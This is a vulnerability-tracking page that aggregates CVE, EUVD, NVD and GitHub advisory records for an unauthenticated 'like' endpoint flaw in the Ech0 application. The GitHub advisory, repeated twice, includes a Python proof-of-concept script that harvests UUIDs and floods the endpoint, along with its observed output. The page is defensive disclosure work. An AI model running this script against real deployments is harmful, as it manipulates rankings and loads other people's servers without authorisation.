Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Ech0 before 4.7.3 Unauthenticated fav_count Modification

CVSS 4.0 6.9 MEDIUMCVSS 3.1 6.5 MEDIUMEUVD CVSS 4.0 6.9 CVSS 4.0 · [email protected] · Secondary 6.9 MEDIUMCVSS 3.1 · [email protected] · Secondary 6.5 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by github.com/lin-snow/Ech0 1.4.8-0.20260503035905-cecc2c19b590osv · severity unknownFixed by github.com/lin-snow/ech0 1.4.8-0.20260503035905-cecc2c19b590KEV status unknown

cve-program · CVE-2026-79661

Published

Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.

Read the publisher's advisory

euvd · EUVD-2026-65453

Published

Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.

Read the publisher's advisory

nvd · CVE-2026-79661

Published

Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.

Read the publisher's advisory

osv · GHSA-pj6q-4vq4-r8cg

Published

## Summary `PUT /api/echo/like/:id` at `internal/router/echo.go:12` is registered on `PublicRouterGroup` with no authentication and no rate limit. Anonymous callers increment the `fav_count` counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public `GET /api/echo/page` response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers. ## Details Route registration at `internal/router/echo.go:12`: ```go appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho()) ``` `PublicRouterGroup` is `r.Group("/api")` without the JWT middleware that `AuthRouterGroup` applies. The handler passes through to `EchoService.LikeEcho`, which calls `EchoRepository.LikeEcho` at `internal/repository/echo/echo.go:270`: ```go func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error { var exists bool if err := echoRepository.getDB(ctx).Model(&model.Echo{}). Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil { return err } if !exists { return errors.New(commonModel.ECHO_NOT_FOUND) } if err := echoRepository.getDB(ctx).Model(&model.Echo{}). Where("id = ?", id). UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil { return err } return nil } ``` No viewer check, no ownership check, no private-flag check. Compare the read path at `EchoService.GetEchoById` (`internal/service/echo/echo.go:275-300`) which rejects anonymous readers on private echoes; the like path skips that gate. `InvalidateEchoCaches` (`internal/repository/echo/echo.go:51-58`) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind `checkRateLimit` (`internal/service/comment/comment.go:731-766`, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware. ## Proof of Concept Default install, anonymous caller on the network: ```python import requests TARGET = "http://localhost:8300" # 1) Discover an echo UUID from the public feed (no auth). page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json() echo_id = page["data"]["items"][0]["id"] # 2) Like it. Repeat without deduplication. for i in range(3): r = requests.put(f"{TARGET}/api/echo/like/{echo_id}") print(f"public like #{i+1}: HTTP {r.status_code} {r.text}") # 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page, # but the UUID arrives via other channels (logs, referer, shared drafts). private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b" # admin-created private echo r = requests.put(f"{TARGET}/api/echo/like/{private_id}") print(f"private like: HTTP {r.status_code} {r.text}") ``` Observed on v4.5.6 in the test container: ``` public like #1: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} public like #2: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} public like #3: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} private like: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} ``` The same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID `019daf77-4a97...`) succeeded even though `GetEchosById` would refuse to read that echo for an anonymous caller. ## Impact Anonymous, rate-limit-free writes against any echo's `fav_count`. Direct impact: - **Popularity signal destruction.** fav_count powers the `hot` feed; a single script skews the ranking at will. - **Private-boundary bypass.** Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history. - **Server and cache load.** Every call triggers a SQLite `UPDATE` transaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader. Reachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable. ## Recommended Fix Move the route to `AuthRouterGroup` so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer: ```go appRouterGroup.AuthRouterGroup.PUT( "/echo/like/:id", middleware.RateLimit(5, 10), h.EchoHandler.LikeEcho(), ) ``` At the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user: ```go func (s *EchoService) LikeEcho(ctx context.Context, id string) error { userID := viewer.MustFromContext(ctx).UserID() if userID == "" { return errors.New(commonModel.NO_PERMISSION_DENIED) } echo, err := s.echoRepository.GetEchosById(ctx, id) if err != nil || echo == nil { return errors.New(commonModel.ECHO_NOT_FOUND) } if echo.Private { user, err := s.commonService.CommonGetUserByUserId(ctx, userID) if err != nil || !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } } return s.echoRepository.LikeEchoOnce(ctx, id, userID) } ``` --- *Found by [aisafe.io](https://aisafe.io)*

Read the publisher's advisory

osv · GO-2026-5541

Published

Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count in github.com/lin-snow/ech0

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-79661

Published

Ech0 before 4.7.3 Unauthenticated fav_count Modification

Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.

Source published
25 Aug 2026 11:33:25 UTC
Source modified
27 Aug 2026 15:10:35 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

euvd · EUVD-2026-65453

Published

Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by sup…

Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 25, 2026, 11:33:25 AM

dateUpdated: Aug 27, 2026, 3:10:35 PM

Source published
Aug 25, 2026, 11:33:25 AM (timezone not stated)
Source modified
Aug 27, 2026, 3:10:35 PM (timezone not stated)
Saved here
19 Nov 2026 18:50:57 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

nvd · CVE-2026-79661

Published

Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by sup…

Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-770

Original publisher date fields

published: 2026-08-25T12:16:29.870

lastModified: 2026-08-31T20:50:15.927

Source published
25 Aug 2026 12:16:29 UTC
Source modified
31 Aug 2026 20:50:15 UTC
Saved here
25 Oct 2026 16:19:04 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

osv · GHSA-pj6q-4vq4-r8cg

Published

Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count

## Summary `PUT /api/echo/like/:id` at `internal/router/echo.go:12` is registered on `PublicRouterGroup` with no authentication and no rate limit. Anonymous callers increment the `fav_count` counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public `GET /api/echo/page` response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers. ## Details Route registration at `internal/router/echo.go:12`: ```go appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho()) ``` `PublicRouterGroup` is `r.Group("/api")` without the JWT middleware that `AuthRouterGroup` applies. The handler passes through to `EchoService.LikeEcho`, which calls `EchoRepository.LikeEcho` at `internal/repository/echo/echo.go:270`: ```go func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error { var exists bool if err := echoRepository.getDB(ctx).Model(&model.Echo{}). Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil { return err } if !exists { return errors.New(commonModel.ECHO_NOT_FOUND) } if err := echoRepository.getDB(ctx).Model(&model.Echo{}). Where("id = ?", id). UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil { return err } return nil } ``` No viewer check, no ownership check, no private-flag check. Compare the read path at `EchoService.GetEchoById` (`internal/service/echo/echo.go:275-300`) which rejects anonymous readers on private echoes; the like path skips that gate. `InvalidateEchoCaches` (`internal/repository/echo/echo.go:51-58`) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind `checkRateLimit` (`internal/service/comment/comment.go:731-766`, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware. ## Proof of Concept Default install, anonymous caller on the network: ```python import requests TARGET = "http://localhost:8300" # 1) Discover an echo UUID from the public feed (no auth). page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json() echo_id = page["data"]["items"][0]["id"] # 2) Like it. Repeat without deduplication. for i in range(3): r = requests.put(f"{TARGET}/api/echo/like/{echo_id}") print(f"public like #{i+1}: HTTP {r.status_code} {r.text}") # 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page, # but the UUID arrives via other channels (logs, referer, shared drafts). private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b" # admin-created private echo r = requests.put(f"{TARGET}/api/echo/like/{private_id}") print(f"private like: HTTP {r.status_code} {r.text}") ``` Observed on v4.5.6 in the test container: ``` public like #1: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} public like #2: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} public like #3: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} private like: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} ``` The same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID `019daf77-4a97...`) succeeded even though `GetEchosById` would refuse to read that echo for an anonymous caller. ## Impact Anonymous, rate-limit-free writes against any echo's `fav_count`. Direct impact: - **Popularity signal destruction.** fav_count powers the `hot` feed; a single script skews the ranking at will. - **Private-boundary bypass.** Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history. - **Server and cache load.** Every call triggers a SQLite `UPDATE` transaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader. Reachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable. ## Recommended Fix Move the route to `AuthRouterGroup` so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer: ```go appRouterGroup.AuthRouterGroup.PUT( "/echo/like/:id", middleware.RateLimit(5, 10), h.EchoHandler.LikeEcho(), ) ``` At the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user: ```go func (s *EchoService) LikeEcho(ctx context.Context, id string) error { userID := viewer.MustFromContext(ctx).UserID() if userID == "" { return errors.New(commonModel.NO_PERMISSION_DENIED) } echo, err := s.echoRepository.GetEchosById(ctx, id) if err != nil || echo == nil { return errors.New(commonModel.ECHO_NOT_FOUND) } if echo.Private { user, err := s.commonService.CommonGetUserByUserId(ctx, userID) if err != nil || !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } } return s.echoRepository.LikeEchoOnce(ctx, id, userID) } ``` --- *Found by [aisafe.io](https://aisafe.io)*

Source published
7 May 2026 21:23:57 UTC
Source modified
27 Aug 2026 04:10:29 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Publisher rating · MODERATE

osv · GO-2026-5541

Published

Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count in github.com/lin-snow/ech0

Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count in github.com/lin-snow/ech0

Source published
25 Jun 2026 22:34:34 UTC
Source modified
27 Aug 2026 04:10:29 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 20 Nov 03:39 UTC · 273 of 275 readable · 269 fully read · documentation 469/469 current